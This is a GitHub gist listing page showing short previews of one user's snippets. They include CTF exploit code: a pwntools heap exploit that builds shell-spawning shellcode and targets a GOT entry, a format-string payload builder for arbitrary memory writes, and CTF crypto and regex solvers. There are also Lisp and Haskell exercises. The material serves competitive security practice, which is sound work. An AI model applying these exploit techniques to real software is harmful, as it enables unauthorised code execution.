Skip to content

Instantly share code, notes, and snippets.

View ecamellini's full-sized avatar

Eric Camellini ecamellini

44 followers · 24 following
View GitHub Profile
@ecamellini
ecamellini / ezhp_exploit.py
Last active August 29, 2015 14:18
Ezhp CTF exploit
import socket
import struct
from pwn import *
context(arch='i386', os='linux', log_level="info")
buf = ""
exit_got = 0x0804A010
spawn_shell = "\x90"*20 + asm(shellcraft.sh())
@ecamellini
ecamellini / 99problems.rkt
Created April 8, 2015 13:06
L-99: Ninety-Nine Lisp Problems solved using Racket: http://www.ic.unicamp.br/~meidanis/courses/mc336/2006s2/funcional/L-99_Ninety-Nine_Lisp_Problems.html
#lang racket
;1 - Find the last box of a list:
(define (my-last l)
(if (empty? (cdr l))
l
(my-last (cdr l))))
;1 with loop
(define (my-last-loop l)
@ecamellini
ecamellini / build_fs.py
Created May 26, 2015 14:59
Script to build a string that can be used to exploit a C format string vulnerability. It can be used to write an arbitrary hex value in a target address. To spot the displacement in the stack, suppose to have printf(argv[1]) in a 'vuln' executable that takes only 1 arg: you can do: ./vuln "AAAA %x %x", and if this prints "AAAA deadb00b 41414141"…
import sys
import struct
def build_format_string(hex_target, int_displacement, hex_value, head):
target = struct.pack('<I', int(hex_target, 16))
target_plus_2 = struct.pack('<I', int(hex_target, 16) + 2)
b4 = struct.unpack('4B', struct.pack('>I', int(hex_value, 16)))
low_value = b4[3] + b4[2]*256
@ecamellini
ecamellini / doubleStack.hs
Created June 5, 2015 12:53
Double-Stack Haskell implementation using State and Maybe monads.
import Control.Monad
import Control.Monad.State
type DoubleStack = ([Int],[Int])
--INTERACTIVE MAIN:
main = do
putStrLn ("Insert an initial doubleStack in the format: ([1,2,3],[4,5,6])")
initialStack <- getLine
stackManip (Just (read initialStack))
@ecamellini
ecamellini / cryptolocker-attack.py
Created October 20, 2016 18:08
hack.lu CTF 2016 - cryptolocker
from Crypto.Cipher import AES
import hashlib
import subprocess
def str_to_bytes(data):
u_type = type(b''.decode('utf8'))
if isinstance(data, u_type):
return data.encode('utf8')
return data
@ecamellini
ecamellini / fuzyll-decoder.py
Created October 20, 2016 18:13
csaw fuzyll decoder (part 4 of the challenge)
CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D",
"F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T",
"V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k",
"l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZs
@ecamellini
ecamellini / angry-boy-brute.py
Last active October 20, 2016 18:30
hitconquals 2016 - angry boy brute force (part 1 of the challenge)
from Crypto import Random
from Crypto.Cipher import AES
import base64
import requests
import re
import hashlib
import sys
#`[132, 203, 41, 215, 52, 248, 159, 26, 20, 59, 8, 177]`
@ecamellini
ecamellini / AngryBoyDecrypt.java
Created October 20, 2016 18:29
hitconquals 2016 - angry boy decryption (part 2 of the challenge)
package decrypt;
import java.awt.RenderingHints.Key;
import java.io.UnsupportedEncodingException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.spec.AlgorithmParameterSpec;
@ecamellini
ecamellini / regexpert.py
Created October 20, 2016 18:32
hitconquals 2016 - regexpert
from pwn import *
solns = ['(?i)s.*e.*l.*e.*c.*t',
'^(a\g<1>*b)$',
r'(?!(xx+)\1+$)^xx+$',
r'^((.)\g<1>\2|.?)$',
r'^(?=(a\g<1>?b)c)a+(b\g<2>?c)$',
""]
r = remote('52.69.125.71',2171)
@ecamellini
ecamellini / leap-years-ruby-regex.rb
Created October 20, 2016 18:38
I know, it's not a regex. Made for the "more" challenge, but it was too long to be accepted (hitconquals 2016)
/(?!^0.+)(?!^[1235679]00$)^(([048])|([24680][048]|[13579][26])|(\d\g<3>)|((?![24680][1235679]00|[13579][01345789]00$)\d\g<4>)|(\d+\g<5>))$/